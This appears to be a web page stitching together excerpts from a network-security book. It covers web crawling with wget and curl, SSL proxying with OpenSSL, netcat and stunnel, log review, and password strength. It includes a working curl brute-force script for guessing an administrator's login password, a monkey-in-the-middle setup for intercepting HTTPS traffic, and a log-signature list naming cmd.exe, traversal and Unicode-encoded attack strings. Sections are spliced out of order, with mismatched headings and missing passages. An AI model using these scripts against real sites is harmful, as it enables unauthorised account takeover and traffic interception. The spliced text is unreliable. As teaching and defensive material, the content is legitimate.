ep6network | Network security

Application Inspection

So far we have looked at tools that examine the web server. In doing so, we miss vulnerabilities that may be present in the web application. This class of vulnerabilities arises from insecure programming and misconfiguration of the interaction between web servers and databases. We can’t explain the nature of web application insecurity and the methodology and techniques for finding those vulnerabilities within a single chapter. What we will show are the tools necessary for you to peek into a web application. Although a few of these programs have grown from the security community, they deserve a place in a web application programmer’s debugging tool kit as well.

Additional stunnel.conf Directives

$ wget -r www.victim.com
...(continues for entire site)...

[root@meddle]# wget –r --http-user:dwayne --http-pass:woodelf \
> https://www.victim.com/secure/
...continues for entire site...

$ wget --load-cookies=cookies.txt \
> –r https://www.victim.com/secure/menu.asp

$ wget --load-cookies=cookies.txt –cookies=on \
> –r https://www.victim.com/secure/menu.asp

$ wget --http-user=guest –http-passwd=no1knows \
> –r https://www.victim.com/maillist/index.html

All-Purpose Tools

The following tools serve as workhorses for making connections over HTTP or HTTPS. Alone, they do not find vulnerabilities or secure a system, but their functionality can be put to use to extend the abilities of a web vulnerability scanner, peek into SSL traffic, or encrypt client/server communication to protect it from network sniffers.

Curl

Where Netcat deserves the bragging rights of super network tool, curl deserves considerable respect as super protocol tool. Curl is a command-line tool that can handle DICT, File, FTP, Gopher, HTTP, HTTPS, LDAP, and Telnet requests. It also supports HTTP proxies. As this chapter focuses on web auditing tools, we’ll stick to the HTTP and HTTPS protocols. By now, it has become a de facto tool on most Linux and BSD distributions, plus Mac OSX and Cygwin.

Implementation

To connect to a web site, specify the URL on the command line, like so:

$ curl https://www.victim.com

Automated scripts that spider a web site or brute-force passwords really demonstrate the power of curl. some of the most useful of curl’s options.

Useful Web-Oriented Curl Options

Option	Description
-H/--header	Set a client-side header. Use an HTTP header to imitate several types of connections. User-Agent: Mozilla/4.0 Spoof a particular browser Referer: http://localhost/admin Bypass poor authorization that checks the Referer page Basic Auth: xxxxx Set a username and password Host: localhost Specify virtual hosts
-b/--cookie -c/--cookie-jar	-b uses a file that contains cookies to send to the server. For example, -b cookie.txt includes the contents of cookie.txt with all HTTP requests. Cookies can also be specified on the command line in the form of -b ASPSESSIONID=INEIGNJCNDEECMNPCPOEEMNC; -c uses a file that stores cookies as they are set by the server. For example, -c cookies.txt holds every cookie from the server. Cookies are important for bypassing Form-based authentication and spoofing sessions.
-d/--data	Submit data with a POST request. This includes Form data or any other data generated by the web application. For example, to set the Form field for a login page, use -d login=arbogoth&passwd=p4ssw0rd. This option is useful for writing custom brute-force password guessing scripts. The real advantage is that the requests are made with POST requests, which are much harder to craft with a tool such as Netcat.
-G/--get	Change a POST method so that it uses GET. This applies only when you specify the –d option.
-u/--user -U/--proxy-user	Set the username and password used for basic authentication or a proxy. To access a site with Basic Authentication, use -u user:password. To access a password-protected proxy, use -U user:password. This is meaningless if the –X option is not set.
--url	Set the URL to fetch. This does not have to be specified but helps for clarity when many command-line options are used. For example, —url https://www.victim.com/admin/menu.php?menu=adduser Curl gains speed optimizations when multiple URLs are specified on the command line because it tries to makes persistent connections. This means that all requests will be made over the original connection instead of establishing a new connection for each request.
-x/--proxy	Set an HTTP proxy. For example, -x http://intraweb:80/.
-K/--config	Set a configuration file that includes subsequent command-line options. For example, -K www.victim.com.curl. This is useful when it becomes necessary to specify multiple command-line options.

Password Guessing

So far we've delineated a few of the useful options that curl offers, but it still doesn't really seem to do much of anything. Curl's power, however, lies in its adaptability to any web (or other protocol) situation. It simplifies making scripts. Perl, Python, and C have libraries that aid HTTP connections and URL manipulation, but they require many support libraries and a steeper learning curve. That is not to say that Perl can't do anything curl can do—curl is just easier. It's one reinvention of the wheel that raises the bar for other tools.

The following shell script demonstrates how to use curl as a customized brute-force password guessing tool for a web site. The script can be run on nearly any Unix- or Linux-based operating system or with the help of Cygwin on Windows. The web site uses Form-based authentication in a POST request. The login process is further complicated by a cookie value that must be passed to the server when the user logs in and is modified if the password is correct.

#!/bin/sh
# brute_script.sh
# Use curl and a password file to guess passwords in form-based
# authentication.  2002 M. Shema
if [ -z $1 ]; then
  echo -e "\n\tUsage: $0 "
  exit 1;
fi
PASSLIST=`/bin/cat $1`
USERNAME=administrator
# change the COOKIE as necessary
COOKIE="MC1=V=3&LV=20013&HASH=17C9&GUID=4A4FC917B47F4D6996A7357D96;"
CMD="/usr/bin/curl \
-b $COOKIE \
-d user=$USERNAME \
-c cookies.txt \
--url http://localhost/admin/login.php"
for PASS in $PASSLIST; do
# specify Headers on this line to work around inclusion of spaces
`$CMD \
  -H 'User-Agent: Mozilla/4.0' \
  -H 'Host: localhost' \
  -d passwd=$PASS`
# upon a successful login, the site changes the user's cookie value,
# but we don't know what the new value is
RES=`grep -v $COOKIE cookies.txt`
if [ -n '$RES' ]; then
  echo -e "found $RES with $USER : $PASS\n";
  exit 0;
fi
done

We find a dictionary of common passwords and then run the script against the target. If we're lucky, we'll find the administrator's password. If not, we'll move on to the next user.

OpenSSL

Any web attack that can be performed over port 80 can also be performed over port 443, the default SSL port. Most tools, exploit code, and scripts target port 80 to avoid the overhead of programming encryption routines and handling certificates. An OpenSSL proxy enables you to redirect normal HTTP traffic through an SSL connection to the target server.

Implementation

The OpenSSL binary is more accurately a suite of functionality, most of which we will not use. The following exercise will focus on OpenSSL for Linux distributions, but in general multiple distributions and binaries do exist; see http://www.openssl.org for more information. If you were to type openssl on the command line without arguments, you would be sent this to the openssl pseudo-shell:

$ openssl
OpenSSL>

OpenSSL contains more functionality than we need to set up a proxy. We are interested in the SSL/TLS client, or the s_client option. You cannot obtain usage information by typing s_client –h, but OpenSSL does have a man page. Now we can connect directly to an SSL server using the s_client command. The –quiet option reduces the amount of error information:

$ openssl s_client –quiet –connect website:443
depth=0 /C=fr/ST=idf/L=paris/Email=webmaster@website
verify error:num=18:self-signed certificate
verify return:1
depth=0 /C=fr/ST=idf/L=paris/Email=webmaster@victim.com
verify error:num=18:self-signed certificate
verify return:1
HEAD / HTTP/1.0
Date: Tue, 26 Feb 2002 05:44:54 GMT
Server: Apache/1.3.19 (Unix)
Content-Length: 2187
Connection: close
Content-Type: text/html

When we typed HEAD / HTTP/1.0, the server returned its header information, thus confirming that the SSL connections succeed. The lines previous to the HEAD command indicate the certificate’s information and status. It includes the distinguished name (DN, for you LDAP enthusiasts) and the e-mail address of the person who created the certificate. OpenSSL also indicated that the certificate was self-signed—that is, it has not been verified or generated under a third-party certificate authority (CA). For the most part, we ignore these errors as long as we can establish the SSL connection.

Note

In a true e-commerce situation, the validity of a server certificate is extremely important. The certificate’s domain should always match the domain of the URL that it protects, it should not be on a revocation list, and it should not be expired.

Now we could save some typing by piping the HEAD request into the s_client command:

$ echo –e "HEAD / HTTP/1.0\n\n" | \
> openssl s_client –quiet –connect website:443

This puts us one step closer to being able to make raw requests of an HTTPS server, but it doesn’t solve the problem of using a tool such as arirang to scan an SSL server. To do so, we need to run the s_client command in a proxy situation. In the previous examples, s_client connected to the SSL server, an HTTP request was sent, an HTTP response was received, and then the connection closed. Arirang or Stealth could make more than 6000 requests. Obviously, we need a better degree of automation.

The Unix (and Cygwin) inetd program solves this problem. The inetd daemon runs on a system and listens on specific TCP and UDP ports. When another host requests to connect to one of the ports that inetd monitors, inetd makes a quick access check and then passes on valid connection requests to another daemon. For example, most Unix FTP servers operate from the inetd daemon. A file called /etc/inetd.conf contains an entry that instructs inetd how to handle FTP requests:

# /etc/inetd.conf example content
ftp    stream    tcp    nowait    root   /usr/libexec/ftpd   ftp -US

The first column, ftp in this case, represents the port number on which the service listens. The value ftp could be replaced with 21, the default FTP port, and everything would still function properly. How does this help us set up an SSL proxy? Well, we just create a new service that listens on a TCP port of our choice. Then, instead of launching an FTP daemon, we launch our s_client command:

# /etc/inetd.conf SSL proxy example content
80    stream    tcp    nowait    root    /home/istari/ssl_proxy.sh

The /home/istari/ssl_proxy.sh file contains two lines:

#!/bin/sh
openssl s_client -quiet -connect www.victim.com:443 2> /dev/null

Note

Setting up an SSL proxy on an Internet-facing server might have unexpected consequences. Always restrict access to the SSL proxy using the /etc/hosts.allow and /etc/hosts.deny files, or their equivalents for your Unix variant.

Now whenever a connection is made to the localhost on port 80, the connection is forwarded over SSL to www.victim.com on port 443. Any connection that you wish to make to the victim server is made to the localhost (or the IP address of the proxy) instead. This will be helpful when trying to audit client/server communications when the server responds only to SSL requests. You can establish your own plaintext-to-SSL proxy. If both parts of the connection, client and server, refuse to talk in any protocol other than SSL, you will need to use stunnel to peek into the traffic.

Inted Alternative

Inetd is not the only method of launching a service. It does have the advantage of being able to apply TCPWrappers, a method for allowing or denying access to a port based on IP address. Not all operating systems use inetd, and the Windows operating system definitely does not have this function.

Cygwin If your friends still pick on you because you're running some version of Windows, don't fret. The Cygwin environment has an inetd daemon and the OpenSSL software that allows you to run an SSL proxy. Cygwin does complain about using 80 for the service name. The /etc/inetd.conf file should contain the following:

# /etc/inetd.conf Cygwin SSL proxy example
www    stream  tcp   nowait  root  /home/ssl_proxy.sh ssl_proxy.sh

Then you can run inetd from the command line. We like to run it with –d, the debugging option, just to make sure everything works correctly:

$ /usr/sbin/inetd.exe -d /etc/inetd.conf

Now the proxy is listening on port 80 and forwarding connections to the target specified in the ssl_proxy.sh script.

Installing inetd as a native Windows service takes a few more manipulations. Two methods can be used to create the service. The prerequisite for each is that the Windows PATH environment variable contains C:\cygwin\bin or wherever the cygwin\bin directory resides. Inetd can install itself as a service:

$ /usr/sbin/inetd.exe --install-as-service /etc/inetd.conf

To remove it, use the --remove-as-service option.

Cygwin's built-in utilities also install and run the inetd service:

cygrunsrv -I inetd -d "CYGWIN inetd" -p /usr/sbin/inetd -a –d
-e CYGWIN=ntsec

cygrunsrv -S inetd

The –R option removes the inetd service.

Xinetd Xinetd puts a little “extra” into the inetd daemon. It improves logging, connection handling, and administration. On systems that support xinetd, the service definitions are usually in the /etc/xinetd.d directory. Create an SSL proxy service using this xinetd syntax:

#default: off
#description: OpenSSL s_client proxy to www.victim.com
service 80
{
  socket_type = stream
  wait = no
  protocol = tcp
  user = root
  server = /root/ssl_proxy.sh
  only_from = 127.0.0.1
  disable = no
}

As always, be aware of running services with root privileges and services to which only you should have access.

Netcat (sort of) For one-off connections, such as running a compiled exploit that normally works against port 80, Netcat saves the day. You may not be able to run a whisker scan correctly, but a single connection will succeed. Whisker has the advantage of working on Unix and Windows systems, provided the OpenSSL suite is installed. A Netcat pseudo-proxy fits in a single command:

$ nc -vv -L –p 80 -e "openssl s_client -quiet \
> -connect www.victim.com:443"

The –L option ("listen harder") instructs Netcat to continue listening even if a client closes the connection. The –e option contains the s_client command to connect to the target. Then, connect to port 80 on the listening host to access the SSL server on the target (www.victim.com in the example).

You will have to use the original version of Netcat to do this. On OpenBSD, for example, the –L option is replaced by –k and the –e option is deprecated since Unix supports pipes (|).

An OpenBSD command looks like this:

$ nc –vv –k –l 80 | openssl s_client –quiet \
> –connect www.victim.com:443

Of course, it doesn't make sense to add the extra step of using Netcat. You should be able to pipe the output of the exploit directly into the s_client command, skipping a step. Then again, there may be scenarios in which strict network controls or mixed OS environments actually make this useful.

Stunnel

OpenSSL is excellent for one-way SSL conversions. Unfortunately, you can run into situations in which the client sends out HTTPS connections and cannot be downgraded to HTTP. In these cases, you need a tool that can either decrypt SSL or sit between the client and server and watch traffic in clear text. Stunnel provides this functionality.

You can also use stunnel to wrap SSL around any network service. For example, you could set up stunnel to manage connections to an Internet Message Access Protocol (IMAP) service to provide encrypted access to e-mail (you would also need stunnel to manage the client side as well).

Implementation

Stunnel now has two development branches: the 3.x series and 4.x series. The majority of this section relates to the command-line options for the 3.x series because the command line tends to be easier to deal with in rapidly changing environments and one-off testing of services. Check out the end of the section for configuration differences in the 4.x series, which relies on a single file to control stunnel’s activity. Both the 3.x and 4.x series provide the same capabilities and all of the techniques can be applied to either version.

SSL communications rely on certificates. The first thing you need is a valid PEM file that contains encryption keys to use for the communications. Stunnel comes with a default file called stunnel.pem, which it lets you define at compile time.

If you wish to use a different certificate, use this openssl command:

$ openssl req -new -out custom.pem -keyout custom.pem -nodes -x509 \
> -days 365
...follow prompts...
$ openssl dhparam 512 >> custom.pem

Now the custom.pem file is ready for use. Stunnel looks for stunnel.pem by default, or you can use your own with the –p option.

Monkey in the Middle What if you need to view the data being sent over an SSL connection? You might need to examine the data passed between a web-based client application and its server, but the client transmits in HTTPS and the server accepts only HTTPS. In this case, you need to slip stunnel between the client and server, downgrade the connection to HTTP so it is readable, and then turn the traffic back into HTTPS so the server accepts it. This requires two stunnel commands.

Run stunnel in normal daemon mode (-d). This mode accepts SSL traffic and outputs traffic in clear text. The –f option forces stunnel to remain in the foreground. This is useful for watching connection information and making sure the program is working. Stunnel is not an end-point program. In other words, you need to specify a port on which the program listens (-d <port>) and a host and port to which traffic is forwarded (-r <host:port>). The following command listens for SSL traffic on port 443 and forwards non-SSL traffic to port 80. If we’re just making a monkey in the middle, the –r points to the other stunnel command:

$ stunnel –p custom.pem –f –d 443 –r :80
2002.04.15 16:56:16 LOG5[464:1916]: Using '80' as tcpwrapper service
name
2002.04.15 16:56:16 LOG5[464:1916]: stunnel 3.22 on
x86-pc-mingw32-gnu WIN32 with OpenSSL?0.9.6c 21 dec 2001
2002.04.15 16:56:16 LOG5[464:1916]: FD_SETSIZE=4096, file ulimit=-1
(unlimited) -> 2000 clients allowed

The other stunnel command is similar, but it is used in client mode (-c) to accept traffic in clear text and output traffic encrypted by SSL. In this example, the command listens on port 80 and then sends SSL traffic to the final destination on port 443:

$ stunnel –p custom.pem –f –d 80 –r www.victim.com:443 –c
2002.04.15 17:00:10 LOG5[1916:1416]: Using '80' as tcpwrapper service
name
2002.04.15 17:00:10 LOG5[1916:1416]: stunnel 3.22 on
x86-pc-mingw32-gnu WIN32 with OpenSSL
0.9.6c 21 dec 2001
2002.04.15 17:00:10 LOG5[1916:1416]: FD_SETSIZE=4096, file ulimit=-1
unlimited) -> 2000 clients allowed

If we run these commands on different computers (or between a computer and a VMware session), we can sniff the traffic that is forwarded over port 80.

SSL for a Service Stunnel provides the same functionality of inetd with the addition of SSL encryption. Stunnel supports TCPWrappers natively, which means that it checks the /etc/hosts.allow and /etc/hosts.deny files upon starting. This makes it possible for you to apply encryption to just about any service. For example, IMAP is a protocol for remote mailbox access. The drawback with IMAP is that passwords can be sniffed.

This is what the IMAP service configuration looks like when run from /etc/inetd.conf:

imap     stream  tcp     nowait  root    /usr/sbin/tcpd imapd

The service name is imap (TCP port 143) and the TCPWrappers daemon executes the IMAP daemon once a connection is opened on port 143.

Now take a look at the equivalent service configuration under stunnel. The following command would be run from the command line, not as part of /etc/inetd.conf:

# stunnel -p imapd.pem -d 143 -l /usr/sbin/imapd.exe  -N imapd
2002.04.15 17:08:38 LOG5[1820:1680]: Using 'imapd' as tcpwrapper
service name
2002.04.15 17:08:38 LOG5[1820:1680]: stunnel 3.22 on
x86-pc-mingw32-gnu WIN32 with OpenSSL
0.9.6c 21 dec 2001
2002.04.15 17:08:38 LOG5[1820:1680]: FD_SETSIZE=4096, file ulimit=-1
unlimited) -> 2000 clients allowed

You’re already familiar with the –d option, but here we’ve introduced –l and –N. The –l option launches the specified program for each incoming connection. In this case, we launched the imapd daemon. The –N is useful, especially on Cygwin systems for forcing a service name for TCPWrappers inspection. The service names are found in the /etc/services file and are necessary to match entries in the /etc/hosts.allow and /etc/hosts.deny files.

Stunnel-4.x The latest version of stunnel represents a change in architecture and improved cross-platform functionality. Installation follows the familiar commands:

./configure
make
make install

It even includes a native Win32 binary that installs and runs as a service. Use that version instead of trying to compile stunnel within Cygwin. If you choose to use stunnel on a Windows platform, use the –install option to install stunnel as a service and –uninstall when you wish to remove it. Consequently, it can be controlled with the net start and net stop commands just as any other Windows service.

The most important difference between 3.x and 4.x from a user perspective is that 3.x was purely command-line driven and 4.x uses a single configuration file. Whichever version you use is a matter of preference, but the 4.x series provides a better security model if you wish to use stunnel to wrap SSL around a service. Here is a shortened version of the default configuration file for stunnel 4.04:

# Comment it out on Win32
cert = /usr/local/etc/stunnel/mail.pem
chroot = /usr/local/var/run/stunnel/
# PID is created inside chroot jail
pid = /stunnel.pid
setuid = nobody
setgid = nogroup

# Authentication stuff
#verify = 2
# don't forget about c_rehash Capath
# it is located inside chroot jail:
#CApath = /certs
# or simply use CAfile instead:
#CAfile = /usr/local/etc/stunnel/certs.pem

# Some debugging stuff
#debug = 7
#output = stunnel.log

# Use it for client mode
#client = yes

# Service-level configuration

[pop3s]
accept  = 995
connect = 110

[imaps]
accept  = 993
connect = 143

#[https]
#accept  = 443
#connect = 80
#TIMEOUTclose = 0

Note : The client mode setting will only cause problems if you are confused about what “yes” and “no” imply. A “client=yes” line means that the remote service is an SSL listener and stunnel accepts plaintext traffic. If you set “client=no” (the default value), stunnel accepts SSL traffic and forwards it to a plaintext service

If the path names correspond to the correct location of the certificate files, you’re ready to go. Otherwise, change the paths and define the services you wish to use.

The TIMEOUTxxx directives are useful for HTTP(S) operations over poor connections or with heavy loads.

As an administrator, you should be running vulnerability scanners against your web servers as part of routine maintenance. After all, it would be best to find your own vulnerabilities before someone else does. On the other hand, how can you tell if someone is running these tools against you? An intrusion detection system (IDS) can help, but an IDS has several drawbacks: it typically cannot handle high bandwidth, it relies on pattern-matching intelligence, it cannot (for the most part) watch encrypted SSL streams, and it is expensive (even the open-source snort requires a team to maintain and monitor events). The answer, in this case, is to turn to your logfiles. You enabled robust logging for your web server, right?

Common Signatures Logfiles are a security device. They are reactionary, meaning that if you see an attack signature in your file, you know you've already been attacked. If the attack compromised the server, web logs will be the first place to go for re-creating the event. Logs also help administrators and programmers track down bugs or bad pages on a web site—necessary to maintain a stable web server. With this in mind, you should have a policy for turning on the web server's logging, collecting the logfiles, reviewing the logfiles, and archiving the logfiles.

The following table lists several items to look for when performing a log review. Many of these checks can be automated with simple tools such as grep.

Excessive 404 response codes	A 404 in your logfile usually means one of three things: a typo or error is in a page on the site, a user mistyped a URI, or a malicious user is looking for “goodies.” If you see several requests from an IP address that resulted in a string of 404 errors, check the rest of your logs for that IP address. You may find a successful request (200 response) somewhere else that indicates malicious activity.
Unused file extensions	This is a subset of the excessive 404s, but it's a good indicator of an automated tool. If your site uses only *.jsp files, requests for files with *.asp would be out of place.
Excessive 500 response codes	Any server error should be checked. This might mean the application has errors, or a malicious user is trying to submit invalid data to the server.
Sensitive filenames	Search the logs for requests that contain passwd, cmd.exe, boot.ini, ipconfig, or other system filenames and commands. IDSs often key off of these values.
Examine parameters	Web server attacks also hide within requests that return a 200 response. Make sure that your web server logs the parameters passed to the URI.
Directory traversal	Search for attacks that try to break directories, such as ..., .., or %2e%2e.
Long strings	Search for long strings (more than 100 characters) submitted as a parameter. For example, a username with the letter A repeated 200 times probably indicates someone's attempt to break the application.
Unix shell characters	Check for characters that have special meaning in shells or SQL. Common characters are ' ! | < > & * ;
Strange User-Agent headers	Check for strings that do not correspond to the most common version of Internet Explorer, Mozilla, Opera, or Safari. For example, nikto produces this User-Agent header: Mozilla/4.75 (Nikto/1.30 ) Yes, it is trivial to change this string, but laziness and simple mistakes often identify malicious users. Of course, make sure that your web server records this header!

Bear in mind that IIS records the URL in its final, parsed format. For example, the Unicode directory traversal attack appears as /scripts/..Á..Á..Ácmd.exe?/c+dir, whereas an Apache logfile captures the raw request, /scripts/..%c0%af..%c0%af..%c0%afcmd.exe?/c+dir?. For IIS logging, make sure to turn on the options for recording the uri-stem and uri-query.

#INF Backup index.html file
#GET /index.html.bak #200

#INF Login.asp buffer overflow check.

bofgen=/login.asp?user=%bofstr&passwd=none","bytes=999","chars=A"

Introduction

These are just a few examples of weak and easily cracked passwords. In general, if you use something familiar to you, Crack and other programs like it will figure it out. Also, you should never use personal information such as dates, login names, Social Security numbers, or any other number associated with you for your password.

Now that we have probably convinced you to change all your passwords, let's look at what it takes for a password to be considered strong.

Elements of a Strong Password

In a few words, a strong password is a random bunch of letters, numbers, and characters, usually eight or more digits long. The eight-character thing is really about the math and not a hard-and-fast rule. In fact, the more digits, the better, but only if the password is truly random. Let's look briefly at why random passwords are so hard for Crack to break.

Assume for a moment that you have a completely random password, one that cannot be found in even the most complete cracking dictionary on Earth. In this case, the only way to crack the password is the brute-force method of checking against all possible character combinations. The best defense against this method is to stack the odds in your favor so that it comes close to mathematically impossible to guess the password.

Here is how that is done. To start with, we have a lot of characters to work with:

• There are 26 letters in the English alphabet (az).

• All can be capitalized (AZ) or lowercase (az).

• There are 10 numeric digits (09).

• There are roughly 30 other special characters on a standard keyboard (!, <, @, >, ?, and so on). Not all are accepted by password-checking tools, so let's say about 15 of the 30 are.

If you create a truly random pattern of letters, numbers, and characters, there are about 77 possibilities for each digit in the password. If you use 8 characters, you raise that number to the power of 8, which gives you 1,235,736,291,547,681 combinations. It would take an awful lot of computing power (and several years) to try all the combinations that would eventually result in the right answer. To make it even harder on any would-be crackers, in addition to using a strong password you should change passwords periodically (we discuss how often a little later).

How to Create a Strong Password That You Can Remember

So here you are, knowing that you need a strong password, but how are you supposed to remember *Dsq#}3frP and 17 other uniquely random passwords for all your various accounts?

The answer is that you can use some personal information that will be easy for you to remember but difficult for others to guess. Here is how:

msji4yotmbm

Make case substitutions. With this sentence, we could use the grammatical capitalization for the password, giving us:

MsJi4yotmbM

Make character substitutions. Finally, look for opportunities to use other characters that will still be easy to remember, such as $ for s. Our final password looks like this:

"M$J!4y0tmbM"

Additional Password Tips

Here are some additional tips and considerations for passwords:

• Do not reuse passwords. If at all possible, try to use a unique password for each of your accounts. If you only have one or two password-protected accounts, this should not be too hard. If you have several, however, it might be difficult to remember them all, even with the technique covered earlier. Consider writing them down in a safe place (but see the next tip).

• Do not write your passwords down unless you can keep them safe. Most password advice says that you should never write down a password. We think this is a good guideline, but quite frankly most of us have 20 or more accounts. It is better to have a unique password for each account and to write them down somewhere, rather than creating a single password that you use on all your accounts. Here's the trick though: If you write down your passwords, keep them secured in a locked cabinet or safe. In your desk drawer or taped under your keyboard are all bad places for a written list of passwords. In a wallet, purse, or backpack is even worse. There are also programs such as Password Corral that allow you to store all of your passwords in a password-protected file on your PC. This way you only need to commit one password to memory. You can also write down the sentence if you used the method in the example earlier (My sister Joanne …); just remember your conversion rules and you can easily re-obtain your password.

• Avoid using your passwords on public computers. Even if the remember-password function is turned off, there could be a keystroke logger or other hacking tool that someone has installed. Anything you type could be collected and used against you.

• Never enable the remember-password option in Windows or Internet browsers. Even if you are using a computer that no one else uses, do not use this option. (This should be doubly obvious if you are using a shared computer.) Having this option turned on may be convenient, but if you ever lose your laptop (or if it is stolen), someone can easily check all the sites recently visited with your browser and get easy access to all your private information.

• Never share your password with anyone. If you do, change it right away.

• Never send your password in an e-mail. This is especially the case if you receive an e-mail asking for your account information even if the e-mail looks legitimate

• Change your password periodically. Some experts advocate changing your passwords every three months. For most accounts, this is a bit much, especially if you create strong passwords such as the one shown earlier. A more realistic period is every six months or so. Never go more than a year with any password, and just so you know, rotating passwords among different accounts does not count as changing a password. Use the technique presented earlier and start from scratch. If you think you have been hacked, change all your passwords immediately.

Summary

Most people do not take their passwords seriously enough, opting for something convenient rather than actually protecting their personal information. Do not make this mistake. A good password is your first and sometimes only defense against hackers and identity thieves. You should not use your spouse's name (or any other weak password) no more than you should attempt to lock a safe full of your valuables using a bread tie. Neither of these will stop someone from getting in and taking your stuff